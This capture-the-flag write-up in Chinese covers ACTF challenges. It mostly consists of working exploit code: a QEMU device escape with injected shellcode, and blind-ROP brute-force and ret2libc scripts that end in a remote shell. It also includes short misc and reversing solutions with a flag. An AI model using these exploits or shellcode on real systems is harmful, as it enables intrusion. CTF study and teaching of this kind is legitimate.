unsigned char shellcode[] = {0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2e,0x63,0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0x89,0xe7,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x68,0x6f,0x2e,0x63,0x60,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x72,0x69,0x1,0x2c,0x62,0x1,0x2e,0x63,0x48,0x31,0x4,0x24,0x31,0xf6,0x56,0x6a,0xe,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x13,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5};


void* maps[100] = {0};

void bypass_checkflag1(char *flag)
{
    for(int i=0;i<64;i++)
    {
        mmio_mem[i]=flag[i];
    }

}
int main(int argc, char *argv[])
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);

    open_mmio();
    open_pmio();

    mmio_write(0, 0x3348637b46544341);
    mmio_write(8, 0x49775f6e315f4b63);
    mmio_write(0x10, 0x5f796240425f6837);
    mmio_write(0x18, 0x545F723368703143);
    mmio_write(0x20, 0x515F6E315F742465);
    mmio_write(0x28, 0x79346C705F554D33);
    mmio_write(0x30, 0x315F644E754F3367);
    mmio_write(0x38, 0x7D21795341455F24);

    //bypass_checkflag1("ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}");
    pmio_write(1,0);

    //g_malloc
    pmio_write(0x1f,0);

    size_t low_dword = 0;
    size_t leak = 0;
    int i=0;
    for(i=0; i<6;i++)
    {
        low_dword = pmio_read(0x10+i);
        leak += low_dword << 8*i;
    }

    //high_dword = low_dword + (high_dword << 32);
    printf("[+] leak : 0x%llx\n", leak);
    //fake system
    size_t system = leak + 0x34e50ce0;
    printf("[+] system : 0x%llx\n", system);
    //0x2fac48
    //0x31942ae8 0x82b0
    mmio_write_32(0x40, (leak & 0xffffff00) + 0x8340);
    size_t stack=0;
    for(i=0; i<6;i++)
    {
        low_dword = pmio_read(0x10+i);
        stack += low_dword << 8*i;
    }
    printf("[+] stack : 0x%llx\n", stack);

    mmio_write_32(0x40, (leak & 0xffffff00) + 0x8350);
    size_t code_base=0;
    for(i=0; i<6;i++)
    {
        low_dword = pmio_read(0x10+i);
        code_base += low_dword << 8*i;
    }
    code_base -= 0x164b70;
    printf("[+] pie : 0x%llx\n", code_base);

    
    mmio_write_32(0x40, (leak & 0xffffff00) + 0x50);
    size_t rwx_addr_ptr=0;
    for(i=0; i<6;i++)
    {
        low_dword = pmio_read(0x10+i);
        rwx_addr_ptr += low_dword << 8*i;
    }
    printf("[+] rwx_addr_ptr : 0x%llx\n", rwx_addr_ptr);


    mmio_write_32(0x40, (rwx_addr_ptr & 0xffffffff) + 0x50);
    size_t rwx_addr=0;
    for(i=0; i<6;i++)
    {
        low_dword = pmio_read(0x10+i);
        rwx_addr += low_dword << 8*i;
    }
    printf("[+] rwx_addr : 0x%llx\n", rwx_addr);
    
    //shellcode +0x2c4bce0
    mmio_write_32(0x40, (rwx_addr & 0xffffffff));
   
    //char* shellcode = "\x6a\x67\x48\xb8\x2f\x72\x65\x61\x64\x66\x6c\x61\x50\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05";
    char* shellcode = "\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x67\x6d\x60\x66\x01\x01\x01\x48\x31\x04\x24\x6a\x02\x58\x48\x89\xe7\x31\xf6\x0f\x05\x41\xba\xff\xff\xff\x7f\x48\x89\xc6\x6a\x28\x58\x6a\x01\x5f\x99\x0f\x05";
    for(i=0; i<=0xf;i++)
    {
        pmio_write(0x10+i, shellcode[i]);
    }
    mmio_write_32(0x40, (rwx_addr & 0xffffffff) + 0x10);
    for(i=0; i<=0xf;i++)
    {
        pmio_write(0x10+i, shellcode[i+0x10]);
    }
    mmio_write_32(0x40, (rwx_addr & 0xffffffff) + 0x20);
    for(i=0; i<=0xf;i++)
    {
        pmio_write(0x10+i, shellcode[i+0x20]);
    }
    mmio_write_32(0x40, (rwx_addr & 0xffffffff) + 0x30);
    for(i=0; i<53-0x30;i++)
    {
        pmio_write(0x10+i, shellcode[i+0x30]);
    }
    
    mmio_write_32(0x40, (stack & 0xffffffff) - 0x4cc);
    outl(rwx_addr&0xffffffff,pmio_base+0x10);
    printf("[+] hack : 0x%llx -> 0x%llx\n", stack - 0x4cc, rwx_addr);

    return 0;
}

blind

拿到题目后发现是一道 brop 题目,不同的是程序开启了 pie,并且是通过编辑器(ad)模式移动光标,通过 ws 修改单字节,修改的数据从 0 ~ 0xff 循环

其中 ad 移动没有限制,可以左右溢出,并且存在着

Aaaaaaa\x00
stack_addr -> Aaaaaaa\x00

这样的栈布局,其中修改 stack_addr ,我们就可以控制函数再次循环执行时候的输出数据

通过这一个漏洞,我们可以发现程序远程开启了 PIE

并且通过尝试,可以发现如下栈布局

call_addr
Aaaaaaa\x00
stack_addr -> Aaaaaaa\x00
xxx
xxx
xxx
xxx
xxx

先通过泄露 call_addr 的值,是一个程序 text 地址,比如获取到是 0x563962abb5400,那么就可以判断出 pro_base 是 0x563962abb5400 - 0x1540 = 0x563962aba000

由于程序的修改是单字节修改,所以我们只能修改 call_addr 的单字节,那么就需要布置 rop 链来爆破需要的信息

把 call_addr 做 stop_gadget ,那么,根据远程靶机的执行结果,可以知道 stop_gadget + xx 处存在一个 ret 指令,这是可以通过单字节爆破得到的。

因为需要布置 rop 链,所以第一次需要爆破出 ret 指令

爆破exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')
elf = ELF('./Genshin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def w(size):
    return str(size).encode() + b'w'
def s(size):
    return str(size).encode() + b's'
def a(size):
    return str(size).encode() + b'a'
def d(size):
    return str(size).encode() + b'd'
def to_(a, b):
    if a > b:
        return s(a - b)
    else:
        return w(b - a)

def toto_(a, b):
    sc = to_(a & 0xff, b & 0xff)
    sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
    sc += b'7a'
    return sc

for i in range(0, 0xff):
    p = remote('120.46.65.156', 32104)
    rl(b'[A]aaaaaa')
    sc =  d(8) + s(8)
    sla(b'> ', sc)
    print('i ->>>>', hex(i))
    stop_gadget = u64(rl(b'\x00\x00'))
    pro_base = stop_gadget - 0x1540

    sc = toto_(0x0061616161616141, stop_gadget)
    sla(b'> ', sc)
    
    sc = a(0x8) + w(i)
    sla(b'> ', sc)

    try:
        pr()
        pr()
        print(i)
        pause()
        p.close()
    except:
        p.close()
        pass

最后可以发现,当 i = 32 时候,会执行到 stop_gadget ,因此

ret_gadget = stop_gadget + 32

第二次爆破是爆破 csu1_gadget 也就是 pop6_gadget

image-20231030103250539

上面已经爆破出 ret_gadget 了,所以这里我们在距离 Aaaaaa\x00 的地方写入 stop_gadget ,以此爆破 pop6_gadget

爆破脚本

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')
elf = ELF('./Genshin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def w(size):
    return str(size).encode() + b'w'
def s(size):
    return str(size).encode() + b's'
def a(size):
    return str(size).encode() + b'a'
def d(size):
    return str(size).encode() + b'd'
def to_(a, b):
    if a > b:
        return s(a - b)
    else:
        return w(b - a)

def toto_(a, b):
    sc = to_(a & 0xff, b & 0xff)
    sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
    sc += b'7a'
    return sc

for i in range(0, 0x1000):

    while 1:
        p = remote('120.46.65.156', 32104)
        rl(b'[A]aaaaaa')

        try:
            sc =  d(8) + s(8)
            sla(b'> ', sc)
            print('i ->>>>', hex(i))
            stop_gadget = u64(rl(b'\x00\x00'))
            pro_base = stop_gadget - 0x1540
            ret_gadget = stop_gadget + 32
            
            sc = d(8) + w(8) + a(0x10)
            sla(b'> ', sc)
            # get stack
            sc = d(0x8) + w(8)
            sla(b'> ', sc)
            stack = u64(rl(b'\x00\x00'))
            AAA = stack - 8
            
            # get 6
            sc = a(0x8) + w(0x28) + a(1)
            sla(b'> ', sc)
            print(hex(i))
            six_value = u64(rl(b'\x00\x00'))
            
            # get 7 
            sc = d(1) + a(0x28) + w(0x8)
            sla(b'> ', sc)
            print(hex(i))
            seven_value = u64(rl(b'\x00\x00'))
            break
        except:
            p.close()
            pass
    
    # get 8
    eight_value = 0x00
    
    sc = d(0x28) + a(0x8)
    sc += toto_(six_value, 0)
    sc += d(0x8) + toto_(seven_value, stop_gadget)
    sc += d(0x8) + toto_(eight_value, 0)
    sla(b'> ', sc)
    
    sc = a(0x40) + toto_(0x0061616161616141, stop_gadget + i)
    sla(b'> ', sc)
    
    #sc = d(0x8) + s(0x38)
    #sla(b'> ', sc)
    
    sc = a(0x8) + w(32)
    sla(b'> ', sc)
    
    lg('ret_gadget', ret_gadget)
    lg('stop_gadget', stop_gadget)
    lg('seven_value', seven_value)
    lg('six_value', six_value)
    lg('AAA', AAA)
    print(hex(i))
    # 7 0x8e 0x92 0x93
    
    #inter()
    try:
        r1 = p.recv()
        r2 = p.recv()
        print(r1)
        print(r2)
        if r2 == b'the monitored command dumped core\n':
            pass
        print(hex(i))
        pause()
        p.close()
    except:
        p.close()
        pass

有了 pop6_gadget ,就相当于有了 pop_rdi; ret 这个gadget

然后是第三次爆破,爆破 puts_plt

于是接着爆破

爆破脚本

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')
elf = ELF('./Genshin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def w(size):
    return str(size).encode() + b'w'
def s(size):
    return str(size).encode() + b's'
def a(size):
    return str(size).encode() + b'a'
def d(size):
    return str(size).encode() + b'd'
def to_(a, b):
    if a > b:
        return s(a - b)
    else:
        return w(b - a)

def toto_(a, b):
    sc = to_(a & 0xff, b & 0xff)
    sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
    sc += b'7a'
    return sc

for i in range(0x800, 0x2000):

    while 1:
        p = remote('120.46.65.156', 32104)
        rl(b'[A]aaaaaa')

        try:
            sc =  d(8) + s(8)
            sla(b'> ', sc)
            print('i ->>>>', hex(i))
            stop_gadget = u64(rl(b'\x00\x00'))
            pro_base = stop_gadget - 0x1540
            ret_gadget = stop_gadget + 32
            csu_gadget = stop_gadget + 0x92
            rdi_gadget = csu_gadget + 9
            pop5_gadget = csu_gadget + 1
            
            sc = d(8) + w(8) + a(0x10)
            sla(b'> ', sc)
            # get stack
            sc = d(0x8) + w(8)
            sla(b'> ', sc)
            stack = u64(rl(b'\x00\x00'))
            AAA = stack - 8
            
            # get 6
            sc = a(0x8) + w(0x28) + a(1)
            sla(b'> ', sc)
            print(hex(i))
            six_value = u64(rl(b'\x00\x00'))
            
            # get 7 
            sc = d(1) + a(0x28) + w(0x8)
            sla(b'> ', sc)
            print(hex(i))
            seven_value = u64(rl(b'\x00\x00'))
            break
        except:
            p.close()
            pass
    
    # get 8
    eight_value = 0x00
    
    sc = d(0x28) + a(0x8)
    sc += toto_(six_value, rdi_gadget)
    sc += d(0x8) + toto_(seven_value, pro_base)
    sc += d(0x8) + toto_(eight_value, pro_base + i)
    sla(b'> ', sc)
    
    sc = a(0x40) + toto_(0x0061616161616141, pop5_gadget)
    sla(b'> ', sc)
    
    #sc = d(0x8) + s(0x38)
    #sla(b'> ', sc)
    
    sc = a(0x8) + w(32)
    sla(b'> ', sc)
    
    lg('ret_gadget', ret_gadget)
    lg('stop_gadget', stop_gadget)
    lg('seven_value', seven_value)
    lg('six_value', six_value)
    lg('AAA', AAA)
    print(hex(i))
    # 7 0x8e 0x92 0x93
    
    #inter()
    try:
        r1 = p.recv()
        r2 = p.recv()
        print(r1)
        print(r2)
        if r2 == b'the monitored command dumped core\n':
            pass
        print(hex(i))
        pause()
        p.close()
    except:
        p.close()
        pass

这里可以得到 puts_plt = pro_base + 0x1060

然后就是 dump 程序

脚本

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')#, log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')
elf = ELF('./Genshin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def w(size):
    return str(size).encode() + b'w'
def s(size):
    return str(size).encode() + b's'
def a(size):
    return str(size).encode() + b'a'
def d(size):
    return str(size).encode() + b'd'
def to_(a, b):
    if a > b:
        return s(a - b)
    else:
        return w(b - a)

def toto_(a, b):
    sc = to_(a & 0xff, b & 0xff)
    sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
    sc += b'7a'
    return sc

    #inter()
# 32w 34w 35 36 106 117w -> start 127W 128 131 135 143 172w -> main 177 -> main 181 -> main 184 -> main 187 -> main 191 -> main 193 -> main 198 -> main 205 -> vuln 210 -> vuln
# all + 30

count = 0
pwn = b''

#while count < 0x1000:
for i in range(0x1000):
    if count > 0x1000:
        break
    while 1:
        p = remote('120.46.65.156', 32104)
        rl(b'[A]aaaaaa')
        try:
            sc =  d(8) + s(8)
            sla(b'> ', sc)
            stop_gadget = u64(rl(b'\x00\x00'))
            pro_base = stop_gadget - 0x1540
            ret_gadget = stop_gadget + 32
            start = stop_gadget + 147
            csu_gadget = stop_gadget + 0x92
            rdi_gadget = csu_gadget + 0x9
            ret_gadget1 = csu_gadget + 0xa
            pop5_gadget = stop_gadget + 0x93
            puts_plt = pro_base + 0x1000 + 0x40
            main = stop_gadget + 0x95
            puts_plt = pro_base + 0x1060
            sc = d(8) + w(8) + a(0x10)
            sla(b'> ', sc)
            # get stack
            sc = d(0x8) + w(8)
            sla(b'> ', sc)
            stack = u64(rl(b'\x00\x00'))
            AAA = stack - 8
            
            # get 6
            sc = a(0x8) + w(0x28) + a(1)
            sla(b'> ', sc)
            six_value = u64(rl(b'\x00\x00'))
            
            # get 7 
            sc = d(1) + a(0x28) + w(0x8)
            sla(b'> ', sc)
            print(hex(i))
            seven_value = u64(rl(b'\x00\x00'))
            break
        except:
            p.close()
            pass
    
    # get 8
    eight_value = 0x00
    
    # 0x96 0x97 
    sc = d(0x28) + a(0x8)
    sc += toto_(six_value, rdi_gadget)
    sc += d(0x8) + toto_(seven_value, pro_base + count)
    sc += d(0x8) + toto_(eight_value, puts_plt)
    sla(b'> ', sc)
    
    sc = a(0x40) + toto_(0x0061616161616141, pop5_gadget)
    sla(b'> ', sc)
    
    #sc = d(0x8) + s(0x38)
    #sla(b'> ', sc)
    
    sc = a(0x8) + w(32)
    sla(b'> ', sc)

    try:
        resp1 = rl(b'timeout: the monitored command dumped core\n')[:-43]
        resp = b''
        if resp1 == b'\n':
            resp = b'\x00'
        elif resp1[-1:] == b'\n':
            resp = resp1[:-1] + b'\x00'
        else:
            resp = resp1
        print('leak -> ', resp, resp1)
        pwn += resp
        count += len(resp)
        print('count -> ', count)
        p.close()
        
    except Exception as e:
        print(e)
    
    print('count -> ', count)
with open('pwn2', 'wb') as f:
    f.write(pwn)
        

这里为了节约时间,只 dump 前 0x1000 字节,然后可以通过 010 editor 分析,最后得到 got 表地址是 pro_base + 0x4000

然后利用 ret2libc 去调用泄露出来的 got 表地址,就可以知道泄露的地址是什么函数了

最终利用 exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')


def w(size):
    return str(size).encode() + b'w'
def s(size):
    return str(size).encode() + b's'
def a(size):
    return str(size).encode() + b'a'
def d(size):
    return str(size).encode() + b'd'
def to_(a, b):
    if a > b:
        return s(a - b)
    else:
        return w(b - a)

def toto_(a, b):
    sc = to_(a & 0xff, b & 0xff)
    sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
    sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
    sc += b'7a'
    return sc

    #inter()
# 32w 34w 35 36 106 117w -> start 127W 128 131 135 143 172w -> main 177 -> main 181 -> main 184 -> main 187 -> main 191 -> main 193 -> main 198 -> main 205 -> vuln 210 -> vuln
# all + 30

count = 4106
pwn = b''

#while count < 0x1000:
for i in range(1):
    if count > 0x1500:
        break
    while 1:
        p = remote('120.46.65.156', 32104)
        rl(b'[A]aaaaaa')
        try:
            sc =  d(8) + s(8)
            sla(b'> ', sc)
            stop_gadget = u64(rl(b'\x00\x00'))
            pro_base = stop_gadget - 0x1540
            ret_gadget = stop_gadget + 32
            start = stop_gadget + 147
            csu_gadget = stop_gadget + 0x92
            rdi_gadget = csu_gadget + 0x9
            ret_gadget1 = csu_gadget + 0xa
            pop5_gadget = stop_gadget + 0x93
            main = stop_gadget + 0x95
            puts_plt = pro_base + 0x1060
            sc = d(8) + w(8) + a(0x10)
            sla(b'> ', sc)
            # get stack
            sc = d(0x8) + w(8)
            sla(b'> ', sc)
            stack = u64(rl(b'\x00\x00'))
            AAA = stack - 8
            
            # get 6
            sc = a(0x8) + w(0x28) + a(1)
            sla(b'> ', sc)
            six_value = u64(rl(b'\x00\x00'))
            
            # get 7 
            sc = d(1) + a(0x28) + w(0x8)
            sla(b'> ', sc)
            print(hex(i))
            seven_value = u64(rl(b'\x00\x00'))
            
            # get 9
            sc = a(0x8) + w(0x10)
            sla(b'> ', sc)
            nine_value = u64(rl(b'\n')[:-1])
            
            break
        except:
            p.close()
            pass
    
    # get 8
    eight_value = 0x00
    
    # 0x96 0x97 
    sc = d(0x30) + a(0x18)
    sc += toto_(six_value, rdi_gadget)
    sc += d(0x8) + toto_(seven_value, pro_base + 0x4000 + 0x40)
    sc += d(0x8) + toto_(eight_value, puts_plt)
    sc += d(0x8) + toto_(nine_value, stop_gadget)
    sla(b'> ', sc)
    sc = a(0x48) + toto_(0x0061616161616141, pop5_gadget)
    sla(b'> ', sc)
    
    sc = a(0x8) + w(32)
    sla(b'> ', sc)
    
    libc_base = l64() - 0x056cf0 # printf
    system = libc_base + 0x048e50
    binsh = libc_base + 0x18a156
    
    sa(b'> ', b'\n')
    rl(b'Aaaaaaa\x00')
    
    sc = d(0x50) + toto_(0x0061616161616141, pop5_gadget)
    sla(b'> ', sc)
    
    # get 6
    sc = d(0x8) + w(0x30)
    sla(b'> ', sc)
    six_value = u64(rl(b'\n')[:-1])
    
    # get 7
    sc = a(0x30) + w(0x8)
    sla(b'> ', sc)
    seven_value = u64(rl(b'\n')[:-1])
    
    # get 9
    sc = a(8) + w(0x10)
    sla(b'> ', sc)
    nine_value = u64(rl(b'\n')[:-1])
    
    sc = d(0x30) + a(0x18)
    sc += toto_(six_value, rdi_gadget)
    sc += d(0x8) + toto_(seven_value, stack - 0x60)
    sc += d(0x8) + toto_(eight_value, system)
    sc += d(0x8) + toto_(nine_value, 0x00000000003b6873) # sh;
    sla(b'> ', sc)
    #sc = a(0x48) + toto_(0x0061616161616141, pop5_gadget)
    #sla(b'> ', sc)
    
    sc = a(0x50) + w(32)
    #sc = a(0x8) + w(32)
    sla(b'> ', sc)
    
    lg('rdi_gadget', rdi_gadget)
    lg('puts_plt', puts_plt)
    lg('libc_base', libc_base)
    lg('pop5_gadget', pop5_gadget)
    lg('stop_gadget', stop_gadget)
    lg('six_value', six_value)
    lg('seven_value', seven_value)
    lg('nine_value', nine_value)
    
    inter()
    

Misc

签退题

问卷答完就给flag了

CTFer simulator

打开一看是个游戏,下面还有项目链接。在 F12 的控制台下面能找到源代码,搞一份到本地然后跑起来。然后把规则里的精力下降全部改成精力上升,手动做一遍拿到 8 个 flag 后把请求的包抓出来,然后换一下 host 用 bp 发过去就行了:

SIGNIN

签到题

Re

qemu playground - 1

没写脚本,主要是看代码猜出来是异或了,然后手动 cyberchef 拼了一下:

不过光看也不够,动调到 if 的地方然后抓内存再手动异或就好:

ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}